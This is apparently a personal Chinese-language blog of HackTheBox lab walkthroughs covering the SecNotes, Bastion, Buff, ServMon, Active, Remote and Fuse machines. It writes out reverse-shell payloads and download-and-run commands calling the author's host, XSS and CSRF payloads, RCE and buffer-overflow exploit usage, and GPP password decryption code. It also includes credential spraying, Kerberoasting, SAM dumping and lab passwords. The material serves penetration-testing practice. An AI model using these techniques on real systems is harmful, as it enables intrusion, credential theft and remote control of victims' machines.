这个靶场耗费了我几个小时的时间并且非常精彩期间卡住了getshell的途中两次看了wp 但都是因为自身不够仔细才导致没有注意到的因为linux方面的靶场打了很多像这种通用方面的操作实际上感觉还好被评为很难级别的原因大概率我也觉得是需要的技术很广泛？比如外网打点的XSS SQL注入 XSS+SSRF 获取shell 提权的端口转发 bash shell的编写以及一个类似于缓冲区溢出的操作但是基本上没有不能理解的技术后面还需要更仔细

9.SecNotes

信息收集：

1
2
3
4


三个都没有匿名登录
smbmap -H 10.10.10.97
smbclient -N -L //10.10.10.97
enum4linux -a 10.10.10.97

new note这里有存储型的XSS

果然跟上一个一样这里需要在contact us触发

而且我这里传上去的是

1
2
3
4
5
6
7


<script src="http://10.10.16.29:33333/1.js"></script>
<script> document.write('<img src="http://10.10.16.29:33333/2.js">'); </script>
<img src="http://10.10.16.29:33333/3.js">
<script src="http://10.10.16.29:33333/4.js"></script>
certutil -urlcache -split -f http://10.10.16.29:33333/testsuccess

很明显 他把certutil执行了

~~所以传过去的命令将会被执行~~

1

certutil -urlcache -split -f http://10.10.16.29:33333/Bankrobber/shell.exe C:\shell.exe | start C:\shell.exe

~~目标机器还是请求下载了但是并没有被执行很明显当前目录不允许被写入~~

我发现拼接命令一直没办法执行我才发现这里并不是命令执行而是传上去的链接它会自动点

当我传入一个连接的时候就会被请求我并不清楚他会不会将文件保存本地如果存入了我也不知道他会存到哪因为他是一个php的站我也传了一个ftshell的php 也没有弹回来

如果这里是XSS 其实还能外带点东西但是我不清楚他到底是咋运行的 php发起请求？还是php的system eval等发起的

后续研究了半天都不是那些发起的如果当前传上去的有多个url 他会分开访问如果存在’)$等符号则不会访问同时我发现

1

http://10.10.10.97/change_pass.php?password=password1&confirm_password=password1&submit=submit

这个可以执行成功思路就清晰了把这个传过去让他改密码而且他的名字我们也有

成功

中间的估计是敲门下面的是smb的账密和共享文件夹

先试试下面的简单地把

我将这两个文件下载了下来他俩貌似指向8808端口尝试看看图片有没有隐写结果是不存在的奇怪的是我去我生成了png的md5 在google上没有搜到相同的这代表这个图片可能不是默认的而是一种截图？

在稍后思考了一会我感觉方向又错了可能这就是8808端口的站点而iisstart就是 iis默认设置的初始页面试试看

没问题的不清楚后端是啥写的在我strings图片的时候看到了里面包含了.net 可能后端就是c#写的先传asp不行再传php

1

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.29 LPORT=6666 -f asp x> ./back.asp

奇怪的是我传上去的back.asp报404 但是他就在目录当中然后我以为我理解错了这就不是web目录然后我传了个1.txt 发现还是能访问的所以这里限制后缀了？可能需要绕过

我尝试了几个后缀完全不行我开始尝试php

没有问题成功解析但是我那个反弹shell是linux的这里改一下就行了

一句话

他会定时清空smb共享目录这里把shell put上去 webshell在执行就OK了

拿到shell了

这个shell连systeminfo都无法执行还是先看看web站点把

1
2
3
4
5
6
7


server with default setting (user 'root' with no password) */
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'secnotes');
define('DB_PASSWORD', 'q8N#9Eos%JinE57tke72');
//define('DB_USERNAME', 'root');
//define('DB_PASSWORD', 'qwer1234QWER!@#$');
define('DB_NAME', 'secnotes');

数据库账密可能需要搭隧道将mysql带出来

1

mysql -h 127.0.0.1 -P 6000 -u secnotes -p'q8N#9Eos%JinE57tke72'

搭了隧道之后成功上来了可惜的是root无法访问并且没有任何东西

接着翻目录奇怪的是在我拿到flag的时候看到Desktop处有一个bash.lnk 指向system里的bash.exe 这一点很奇怪

而且并没有报错说明是可用的环境变量存在尝试了很多命令都无法执行在根目录发现了一个ubuntu.zip的压缩包

Distros里面找到了Ubuntu 我开始搜索目录结构看看这是个啥东西

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


AppxBlockMap.xml
AppxManifest.xml
AppxMetadata
AppxSignature.p7x
Assets
images
install.tar.gz
resources.pri
temp
ubuntu.exe
[Content_Types].xml

提示我这是子系统? 开始找利用方法

https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87/Windows%E6%8F%90%E6%9D%83/WSL%E5%AD%90%E7%B3%BB%E7%BB%9F.md

1
2
3
4
5
6
7
8


wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
bash文件
bash.exe也可以在C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe
或者，探索WSL的文件系统
C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

第一种 wsl没找到在哪 ./ubuntun.exe config –default-user root执行直接卡死

第二种 bash.exe

可以看到完全没作用

第三种能找到具体目录

第一件事我就去找了root的history 毕竟linux打了很多了

smb连接提供了账密那就很简单了连上去就可以了

1
2


/opt/impacket/build/scripts-3.12/psexec.py administrator:'u6!4ZwgwOM#^OBf#Nwnh'@10.10.10.97
/opt/impacket/build/scripts-3.12/smbexec.py administrator:'u6!4ZwgwOM#^OBf#Nwnh'@10.10.10.97

结束

总体感觉还好不太熟练的点就是windows提权

10.Bastion

信息收集:

看到第一眼如果smb没有东西那么就真的卡死了

还好有匿名能访问的

1

smbclient -N //10.10.10.134/Backups

全下载了下来有一个文件把我卡死了它提示不要全部下载很慢的

就是这个文件他还在增长实在太大了按照提示我没把他下载下来然后给他删了太占空间了

其实从这里开始再根据他开的服务大概率就是让我自己去找账号密码除此之外我想不到这个靶场还能怎么做

我使用这个方法挂载了那个比较小的vhd文件但是打开之后里面为空白啥都没有估计在那个大的vhd文件里有东西但是下载又太慢了或许走smb服务挂载可能会好点？

搜着搜着这个博客的ip和方法跟wp一模一样所以我还是接着换了

https://medium.com/@klockw3rk/mounting-vhd-file-on-kali-linux-through-remote-share-f2f9542c1f25

这个博客跟刚刚那个方法也一样也是针对这个lab的

后续我找了很久基本上都是针对这个lab的如果说目前没有出来这个靶场我自行寻找的话估计会很困难原理其实很好理解我刚刚也是下载了半天太大了下载又慢所以他利用了cifs smb文件共享直接将目标smb服务里的vhd直接挂载到本地这样的话在本地进行挨个访问时再加载实际使用我反而不会而且我已经想到后续如何利用了就是把SAM或者HTDS.dit拖出来 PTH 或者走winrm 都可以然后拿到shell 不然我感觉没有其他路能走除非密码已经被改需要再去找ssh的密码？

1
2
3
4
5
6


apt-get install libguestfs-tools
apt-get install cifs-utils
mkdir /mnt/remote
mkdir /mnt/vhd
mount -t cifs //10.10.10.134/backups /mnt/remote -o rw
guestmount --add /mnt/remote/WindowsImageBackup/L4mpje-PC/'Backup 2019-02-22 124351'/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro /mnt/vhd -v

需要将 C:\Windows\System32\config下面的SAM文件和SYSTEM文件移出来改名sam.hiv和system.hiv

然后解密就行了我的kali种没有这个py文件我就移到windows解了

1
2
3
4
5
6


[*] Target system bootKey: 0x8b56b2cb5033d8e2e289c26f8939a25f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::
[*] Cleaning up...

administrator为空密码大概率还要重新上去提权

在我尝试了大量的登陆操作时发现一直报错鉴权失败尝试了很久才想起来还有个22端口没用

成功上来了这里省略很久我一直在翻文件但是啥都没有后续我想到可以sudo su之类的但是这明显不行不现实突然就想通了既然我现在是ssh 那么是不是也可以用公钥连上来？毕竟SAM告诉我这个密码为空虽然不一定为空所以现在去找公钥

在这里找到了配置文件

但是PubkeyAuthentication被注释了貌似不允许公钥登录

但是我在最下面找到了一个匹配组管理员的公钥？

但是完全没有权限

我尝试再回到挂载处再去找备份挨个翻我在那里没有尝试翻过 ssh目录

啥也没有

这里我完全卡死了我没有先看wp 我看了hackthebox的下一步提示

也就是还有个远程连接工具？

成功找到了

根据提示

https://github.com/mRemoteNG/mRemoteNG/issues/1963

password

1

aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==

https://www.errno.fr/mRemoteNG.html

https://github.com/gquere/mRemoteNG_password_decrypt/ #解密脚本

因为复制会导致格式混乱所以我用smb把他传了出来

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


smbserver.py kali .
copy .\confCons.xml \\10.10.16.29\kali\confCons.xml
python mremoteng_decrypt.py confCons.xml

result:
Name: DC
Hostname: 127.0.0.1
Username: Administrator
Password: thXLHM96BeKL0ER2

Name: L4mpje-PC
Hostname: 192.168.1.75
Username: L4mpje
Password: bureaulampje

结束

难度还好 getshell部分如果没有后来者写的博客来提示远程挂载的用法或许我会找很久提权的部分卡住了没有仔细去翻每个程序我当时只翻了 Program Files 没有翻Program Files (x86) 还是依靠hackthebox的闯关模式提交了user的flag才得到的下一步还是得多练吧

清除挂载不清除会有点卡

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


# 先切换出挂载目录
cd /

# 检查进程
lsof | grep '/mnt/vhd'
fuser -mv /mnt/vhd

# 结束相关进程
kill <pid> # 或 kill -9 <pid> 强制结束

# 卸载VHD
guestunmount /mnt/vhd
# 如果不行，尝试：
fusermount -u /mnt/vhd

# 卸载CIFS共享
umount /mnt/remote
# 如果提示busy，可以用：
umount -l /mnt/remote # 懒惰卸载
# 或
umount -f /mnt/remote # 强制卸载

# 最后删除挂载点
rmdir /mnt/vhd
rmdir /mnt/remote

11.Buff

信息收集:

8080端口是一个健身房的网站根据这个网站的readme.md文件经过一番搜索我找到了项目地址

https://projectworlds.in/free-projects/php-projects/gym-management-system-project-in-php/

这里有个初始密码但是已经被改了

我将项目下载了下来这里有个默认用户但是账密被改了

然后我开始代码审计发现upload.php 貌似没有进行鉴权

然后我在搜索exp的时候还真有CVE编号为了防止是靶场出来的后来者写的

https://www.exploit-db.com/exploits/48506

很明显这个靶场出来之前那个exp就有了所以不是别人写的wp

其实自行利用也简单构造文件上传的请求包确实有点麻烦但是我在本地搭建好捕获到请求包之后其实改个ip也可以实现这里直接用exp把

确实方便开始提权把

此处省略很久我尝试上传exe反弹shell 尝试了很久完全没效果 smb和certutil都不行

上传的shell打不开尝试了很久最终解决了

1
2
3


# 这个可以上传
curl http://10.10.16.29:33333/reserver_shell/shell296666.exe -o .\shell.exe
PHP Ivan Sincek 也可以反弹shell

提权：

貌似并没有连接数据库

但是数据库确实开了

我说怎么用不了

后续动不动就断线然后就动不了

后续换了openvpn节点就好了

我在shaun的download目录下找到了CloudMe_1112.exe

搜到了

根据提示我尝试启动CloudMe_1112.exe 结果在本地真开启了我不确定以shaun用户启动再进行缓冲区溢出是否能获取administrator权限但还是试试把

但是这个是启动在本地的需要搭建隧道

frp搭建隧道已经很多次了这里就不放了 exp稍微改改就行根据提示需要生成shellcode

1
2


# 根据他的提示不使用CMD 其实就是在后面加个LHOST=10.10.16.2 LPORT=3334就行
msfvenom -a x86 -p windows/shell_reverse_tcp -b '\x00\x0A\x0D' -f python LHOST=10.10.16.2 LPORT=3334

因为生成的是buf

所以复制完加一条 payload = buf 就行

执行成功后无任何回显

结束

这个靶场也还好 getshell的部分不难理解就是反弹shell的时候特别麻烦应该是网卡的原因但还好都是常规流程唯一就是要多学windows的提权部分在之前都是在Program Files这些里面找程序这次在用户目录里找到了还是花了很多时间的

12.ServMon

评分属实有点低了

信息收集：

smb没有匿名登录

ftp匿名登录有两个文件

根据提示 nathan的Passwords.txt 被放到了桌面然后就是Nathan的笔记他已经修改了密码然后锁住了NSClient的访问？下面还有上传密码他还有个秘密文件在sharepoint 删除公开的NVMS访问(这个没做到不然我也无法访问)

果然有个任意文件读取的漏洞可以把password读出来了

不知道为啥exp打不了手动才行貌似是我的参数问题

password读了出来目前靶机开放的服务有很多这些密码得挨个试

1
2
3
4
5
6
7
8
9


nathan

1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$

这个密码我在ftp ssh用hydra都不行 smb hydra不知道咋回事爆破不了

80端口的NVMS服务确实也无法访问 8443端口的NSClient跟他所说的一样被关闭了

在手动试试smb 结果也没有一个密码正确

之前试的都是nathan用户其实还有一个Nadine没试

成功

拿到了shell

开始提权：

根据提示我先去找sharepoint里的密码文件以及他说他要上传password 我不清楚这个password是指的passwords.txt那个文件还是什么跟着一起找找吧

password应该找不到了因为当前用户没有nathan的访问权唯一一个任意文件读取还不知道目录结构所以这个没办法简单的信息收集完了 nadine家目录里没有隐藏什么文件还是先扫一下吧

1

curl http://10.10.16.2:33333/winPEASany.exe -o .\winPEASany.exe

传上去立马被删了 systeminfo也不让看那就先去看看他说的sharepoint把

在找sharepoint的时候发现了sshconfig 但很可惜不让公钥认证不然还能读一下nathan的公钥

NSClient++的密码NSC.ini也没找到后续没找到sharepoint 完全没那个目录

后续我开始搜exp 发现NSClient++貌似存在本地用户提权我在本地没有找到版本文件但是还是按着来看看吧主要是他的教程提到了另一个密码文件

https://www.exploit-db.com/exploits/46802

果然他这个教程是有效的

1

password = ew2x6SsGTxjRwXOT

第二步提示要启动这些模块

我想查看启动参数是否包含这些但很可惜无法访问那就只能默认他携带了这些参数

我看教程貌似要用的web页面根据他的端口占用来看 8443就是可以被所有IP访问并不存在启动在本地的情况但是它提示过了NSClient++是被锁住了无法访问目前我先尝试在本地访问一下

后续在搜索的时候发现有一些脚本是通过API来实现的也就是我们不用去手点了并且我传了一个免杀的netcat 才没有被杀掉也就是说靶机上有杀毒软件

我尝试了这些exp 但都无一例外报错我尝试在本地访问一下

他会直接卡死这种情况

而且这台靶机没有python.exe 如果有的话我还能传exp上去本地执行这样看来就只能frp搭隧道了

搭好隧道结果https没有解析成功导致本地还是无法访问

到了这一步我只能将那些exp打包成exe 然后传上去使用了因为我一直觉得本地应该是能访问的

成功了

项目地址:https://github.com/xtizi/NSClient-0.5.2.35—Privilege-Escalation/blob/master/exploit.py

我终于明白评分为什么这么低了但是总体做下来感觉还好当时我都以为这条路可能行不通可能得去看看NVMS1000 但是NVMS都是关于目录穿越的漏洞完全找不到提权只有NSClient一搜全是RCE和提权但实际上这条路路上没有完整的攻击链支撑全都是靠猜首先我完全无法确定版本只有一个log文件我看到时间最多是2016年其次本地netcat也没有告诉我访问了之后这个服务是存在的所以说我试的时候都感觉不可能了可能他的提示

也就是告诉我只能在本地访问并且sharepoint不光是微软那个其实也代表web站点的意思总的来说还算是有意思的一个靶场评分低的原因可能就是靶机有杀毒软件很多工具用不了在后续我开始尝试如何在本地也能访问https站点

1
2
3
4
5


# 其实加个-k就行了
curl -k https://localhost:8443/index.html
# 我当时没有加文件 所以他的重定向我没有收到 我就以为为空
# 这里加参数-L 就能跟随
curl -k https://localhost:8443/ -L

13.Active

信息收集:

smb

默认有两个文件夹可以匿名访问还有两个需要登录

users貌似也要登陆

我开始翻那些文件夹的时候我发现我之前貌似学过这个 SYSVOL

https://xz.aliyun.com/t/1653?time__1311=n4%2BxniitG%3DDtdDKi%3D%3DDs03xCq7KGQ%3D8GeCoK7e4D

https://adsecurity.org/?p=2288

经过一番搜索也是翻到了密码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36


function Get-DecryptedCpassword {
 [CmdletBinding()]
 Param (
 [string] $Cpassword
 )

 try {
 #Append appropriate padding based on string length
 $Mod = ($Cpassword.length % 4)

 switch ($Mod) {
 '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
 '2' {$Cpassword += ('=' * (4 - $Mod))}
 '3' {$Cpassword += ('=' * (4 - $Mod))}
 }

 $Base64Decoded = [Convert]::FromBase64String($Cpassword)

 #Create a new AES .NET Crypto Object
 $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
 [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)

 #Set IV to all nulls to prevent dynamic generation of IV value
 $AesIV = New-Object Byte[]($AesObject.IV.Length)
 $AesObject.IV = $AesIV
 $AesObject.Key = $AesKey
 $DecryptorObject = $AesObject.CreateDecryptor()
 [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)

 return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
 }

 catch {Write-Error $Error[0]}
}
Get-DecryptedCpassword "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"

成功解开了

1
2


active.htb\SVC_TGS
GPPstillStandingStrong2k18

先挨个看接着来SMB服务然后在看其他的 Users能看了

还真的是Users文件夹拿到了flag

没有约束委派

接下来尝试了很久基本都是下面这两个其实我本应该尝试GetUserSPNs就结束了因为根据提示就是这样但是当时我没仔细看报错

1
2


GetUserSPNs.py DC.active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip active.htb -request
python getST.py -dc-ip active.htb -spn cifs/DC.active.htb -impersonate Administrator active.htb/SVC_TGS:GPPstillStandingStrong2k18

下面这个命令可以调整时间但是调整完过上几秒还是会报错

1

ntpdate -u active.htb && date

https://medium.com/@danieldantebarnes/fixing-the-kerberos-sessionerror-krb-ap-err-skew-clock-skew-too-great-issue-while-kerberoasting-b60b0fe20069

这个教程解决了我的问题可以调好时间

总而言之拿到了hash

1

hashcat -m 13100 1.txt /usr/share/wordlists/rockyou.txt

1

Ticketmaster1968

PTH

结束

感觉还好就是熟悉下域环境把调时钟那个没注意浪费了点时间总体还是熟悉域渗透

14.Remote

信息收集：

除了80以外全部挨个看一遍

匿名可以连上但是没有任何东西先做保留可能ftp的目录就是web站点的目录呢

smb没有匿名

nfs 之前打vulnhub用过几次但是有点久远了还好有笔记

1

showmount -e 10.10.10.180

1
2


mkdir ./site_backups
mount -t nfs 10.10.10.180:/site_backups ./site_backups

现在啥都有了该去看80端口到底是啥了

没发现有什么东西

我开始配合着看一下nfs 这里面的目录结构我算是第一次见所以我尝试去搜一下了解这是什么结构

搜了很多目录结构但是还是没有找到主页面我就直接find了 find的时候加载所有文件所以有点卡

1
2
3


find ./ -name *.html
find ./ -name *.aspx
find ./ -name *.asp

我发现这些文件集中在一个目录

我去搜了下Umbraco 还真是个框架

而他有很多RCE的漏洞现在我先去找版本信息

找了几个提示在管理页面提示查看应用程序？还有一个说的还能搜搜就是在webconfig里然后我开始找其他webconfig的同时直接打常见的exp 但是貌似要账密

我开始google加手动搜索账密 google上提示说账号密码都在数据库不会在其他地方的

我在搜索的时候发现了版本这个版本和我看的那个exp一模一样但是需要账密才能打

在google的时候我终于找到了sql的凭证

https://stackoverflow.com/questions/36979794/umbraco-database-connection-credentials

据他所说文件在App_Data/Umbraco.sdf 而且要将 Umbraco SQL CE 数据库转换为 SQL Express才行

根据他们提供的工具网址已经不能用了 http://sqlcetoolbox.codeplex.com/ 其他的教程也都是安装到vs里的插件但还是让我搜到了工具

https://github.com/ErikEJ/SqlCeToolbox/releases/download/4.8.732/SqlCe40ToolBox.zip

但是非常难用他利用的前提是必须要链接一个数据库才行不然解不开这里我完全卡死了我没想到一个简单难度的能把我卡死但事实上我再一次观察这个文件的时候我发现 cat的时候大部分都是二进制的所以看起来都是乱码这个是没问题的 strings的时候虽然也有乱码但是大部分是清晰可见的

我尝试不用工具直接strings看看

1

admin:baconandcheese

成功现在可以打exp了

https://github.com/noraj/Umbraco-RCE/blob/master/exploit.py

1

python exploit.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180/ -c ipconfig

验证没问题可以构造exp了

拿shell的路上有点艰难但好在解决了

1
2


python exploit.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180/ -c powershell.exe -a '-NoProfile -Command curl http://10.10.16.2:33333/Remote/shell.exe -o \\users\\Public\\shell.exe'
python exploit.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180/ -c powershell.exe -a '-NoProfile -Command start \\users\\Public\\shell.exe'

上来才想起来其实还有个ftp的从ftp传上来再执行也是没问题的我还一直再找可写入的文件夹还一直构造上传

直接烂土豆提权就行了

1
2


curl http://10.10.16.2:33333/Privilege_Escalation_tool_windows/PrintSpoofer64.exe -o .\PrintSpoofer64.exe
PrintSpoofer64.exe -i -c cmd

结束

总体感觉还是还好毕竟是简单难度就是找密码那里我一开始搜索过这个umbraco的数据库密码在哪或者说数据库文件在哪我尝试一直搜索但都没有说在哪后续我记不清我搜了啥就出了这样一个博客告诉了我这个数据库文件在哪一开始按照那个博客的方法走但是他需要链接一个新的数据库才行后续想了一会才发现strings是可以看到明文的接着就是反弹shell的部分我不清楚为什么不能用cmd的命令用了没有效果还会报错

还是用的这个exp的教程拼接命令才解决的基本上难度都集中在getshell的部分吧

15.Fuse

信息收集：

又是一个域控

ldap

dns

我选择先将这两个域名加入hosts

1

fuse.fabricorp.local. hostmaster.fabricorp.local

除此之外ldap没有拿到其他信息了目前该收集的都收集完了该看80端口了

自动重定向了

这么说我在dns那里获得的其实还有一个域名 hostmaster.fabricorp.local 貌似也能派上用场

80端口没有任何办法我开始把目标接着放到smb和ldap上我只单独的试了下smb是否能匿名链接并没有详细的去看其实还有很多种方法能在smb收集信息

1
2
3
4
5


enum4linux -a -u "" -p "" <dc-ip> && enum4linux -a -u "guest" -p "" <dc-ip>
smbmap -u "" -p "" -P 445 -H <dc-ip> && smbmap -u "guest" -p "" -P 445 -H <dc-ip>
smbclient -U '%' -L //<dc-ip> && smbclient -U 'guest%' -L //<dc-ip>
cme smb <ip> -u '' -p '' # 枚举可空Session访问的SMB共享
cme smb <ip> -u 'a' -p '' #枚举可匿名访问的SMB共享

1
2
3
4
5


Domain Name: FABRICORP
Domain Sid: S-1-5-21-2633719317-1471316042-3957863514

SMB fabricorp.local 445 FUSE [*] Windows Server 2016 Standard 14393 x64 (name:FUSE) (domain:fabricorp.local) (signing:True) (SMBv1:True)
SMB fabricorp.local 445 FUSE [+] fabricorp.local\:

ldap我也看了没有啥东西 80端口也没东西我开始尝试爆破子域名可能可能会给我一些结果

1
2


dnsenum fabricorp.local --dnsserver 10.10.10.193
wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.193 -H "Host: FUZZ.fabricorp.local" --hh 103

发现了一个奇怪的地方有一个85的ip在域控的dns记录里也就是现在有一个域环境？85这台是域内主机？最终子域名全跑完了一个都没有

我把所有的信息整合到一起之后发现貌似没一处漏洞搞得现在很乱不清楚到底是什么情况

我开始把目光从smb dns ldap上移开尝试继续看看80端口主要是现在必须得拿一个账号或者用户名都可以这样才能收集到更多信息

将我的想法写下来之后想到这里我突然就醒悟了这个80端口的网站它显示了历史的打印日志日志里面不是有用户名吗？我之前明明看到过

1
2
3
4
5


pmerton
tlavel
sthompson
bhult
administrator

剩下就爆破了我这里也是挨个爆破挨个来

先试试 ASREP-Roasting攻击

都试了都不行根据我所学的到目前基本卡死了最后还有两条路一个adws没接触过看看是啥一个去找字典再爆破

我搜了adws方面的漏洞只有一个

HTLM中继我试过其他的方法但是ADWS是我第一次了解到

https://clement.notin.org/blog/2020/11/16/ntlm-relay-of-adws-connections-with-impacket/

https://www.youtube.com/watch?v=Blh9LAF92ro

这两个我看完了他讲了ADWS中继但是HTLM认证是要账密的所以这个完全没用

那就剩最后一种方法了我个人不是特别喜欢爆破因为总感觉没什么东西

弱口令也没爆破出来我没有打算使用cewl去获取字典因为看了一下也没什么获取的总之完全卡死了

目前所学的所有技巧都无法去获得信息先通过hackthebox的闯关提示来获得信息看看

找到了提示也就是那些用户实际上是存在弱口令的？还是老实用cewl获取密码来爆破把

还是很可惜完全没有结果这里我不得不看wp了在之前闲下来的时候看别人考oscp总结的经验就是一定要准备好字典有很多地方需要进行爆破的如果是我字典的问题刚好就让这个靶场扩充一下我的字典

1
2
3
4


cewl http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers > wordlist
cewl -d 5 -m 3 --with-numbers -w passwords.txt http://fuse.fabricorp.local/papercut/logs/html/index.htm
cewl -w passfile.txt http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers
cewl -w pwd.txt --with-numbers http://fuse.fabricorp.local/papercut/logs/html/index.htm

这是我翻到的好几个博客的这一步这一步其实没有过多解释就是要加数字加–with-numbers参数

1
2


cewl http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers > wordlist
crackmapexec smb fabricorp.local -u user.txt -p wordlist

1
2
3


# 拿到了两个账密 但都提示STATUS_PASSWORD_MUST_CHANGE 密码需要更改
fabricorp.local\bhult:Fabricorp01
fabricorp.local\tlavel:Fabricorp01

所以说我现在需要进行登录

我开始尝试能登陆的点根据开放的服务我可以去找 rpc smb ldap winrm 但是全都提示 NT_STATUS_PASSWORD_MUST_CHANGE

我咋感觉这密码拿到了跟没拿没啥区别

https://www.n00py.io/2021/09/resetting-expired-passwords-remotely/

这个博客介绍了如何远程更改密码我尝试一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27


┌──(root㉿kali)-[/usr/share/wordlists/SecLists-master/Passwords]
└─# smbpasswd -r 10.10.10.193 -U bhult
Old SMB password:
New SMB password:
Retype new SMB password:
machine 10.10.10.193 rejected the password change: Error was : The transport connection is now disconnected..

┌──(root㉿kali)-[/usr/share/wordlists/SecLists-master/Passwords]
└─# smbpasswd -r 10.10.10.193 -U tlavel
Old SMB password:
New SMB password:
Retype new SMB password:
machine 10.10.10.193 rejected the password change: Error was : The transport connection is now disconnected..

┌──(root㉿kali)-[/usr/share/wordlists/SecLists-master/Passwords]
└─# smbpasswd -r fabricorp.local -U tlavel
Old SMB password:
New SMB password:
Retype new SMB password:
machine fabricorp.local rejected the password change: Error was : The transport connection is now disconnected..

┌──(root㉿kali)-[/usr/share/wordlists/SecLists-master/Passwords]
└─# smbpasswd -r fabricorp.local -U bhult
Old SMB password:
New SMB password:
Retype new SMB password:
machine fabricorp.local rejected the password change: Error was : The transport connection is now disconnected..

一直提示无法连接人都麻了它提示本地不能

https://daniel-schwarzentraub.medium.com/tryhackme-boot-to-root-room-razorblack-8b4ec8ec5118

这是另外一个靶场的wp 他也是这样他选择了用impacket-smbpasswd 来更改

根据提示我找到了这个 https://github.com/snovvcrash/impacket/blob/smbpasswd/examples/smbpasswd.py

终于成功了

1

python smbpasswd.py bhult@10.10.10.193

1

bhult:Fabricorp@123

结果密码还是没有被改还是原来的密码

用下面这个终于成功了

1
2


python smbpasswd.py bhult@fabricorp.local
bhult:Fabricorp@123!@#

我能使用rpc去连接然后断开了之后密码又变回去了我去网上找了个随机密码

1

bhult:2x@oteL8YOJa

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


smbclient -L //10.10.10.193/ -U bhult
Password for [WORKGROUP\bhult]:

	Sharename Type Comment
	--------- ---- -------
	ADMIN$ Disk Remote Admin
	C$ Disk Default share
	HP-MFT01 Printer HP-MFT01
	IPC$ IPC Remote IPC
	NETLOGON Disk Logon server share
	print$ Disk Printer Drivers
	SYSVOL Disk Logon server share
SMB1 disabled -- no workgroup available

现在能做很多事情了 (貌似是一分钟刷新一次还是连接之后立马刷新反正就是这两种逻辑中的一种)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[svc-print] rid:[0x450]
user:[bnielson] rid:[0x451]
user:[sthompson] rid:[0x641]
user:[tlavel] rid:[0x642]
user:[pmerton] rid:[0x643]
user:[svc-scan] rid:[0x645]
user:[bhult] rid:[0x1bbd]
user:[dandrews] rid:[0x1bbe]
user:[mberbatov] rid:[0x1db1]
user:[astein] rid:[0x1db2]
user:[dmuir] rid:[0x1db3]

1
2
3
4


GetUserSPNs.py fabricorp.local/bhult:YcfOrivT1QUp -dc-ip 10.10.10.193 -request
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

No entries found!

1
2
3
4
5
6


rpcclient -U "tlavel%9VwzPigFmknx" -c 'enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit' 10.10.10.193

RPC枚举的字典在后面 可以直接将所有信息筛出来 下面有一个有用的信息
flags:[0x800000]
	name:[\\10.10.10.193\HP-MFT01]
	description:[\\10.10.10.193\HP-MFT01,HP Universal Printing PCL 6,Central (Near IT, scan2docs password: $fab@s3Rv1ce$1)]

我尝试登录scan2docs 但很可惜登陆不上后续我还是选择进行爆破上面还有其他账号

1

crackmapexec smb fabricorp.local -u username.txt -p "\$fab@s3Rv1ce\$1" --continue-on-success

1

svc-print:$fab@s3Rv1ce$1

没问题能访问但是并没有其他的目录我尝试接着使用winrm看看能不能获得shell

1

crackmapexec winrm fabricorp.local -u username.txt -p "\$fab@s3Rv1ce\$1" --continue-on-success

1

crackmapexec winrm fabricorp.local -u svc-print -p "\$fab@s3Rv1ce\$1"

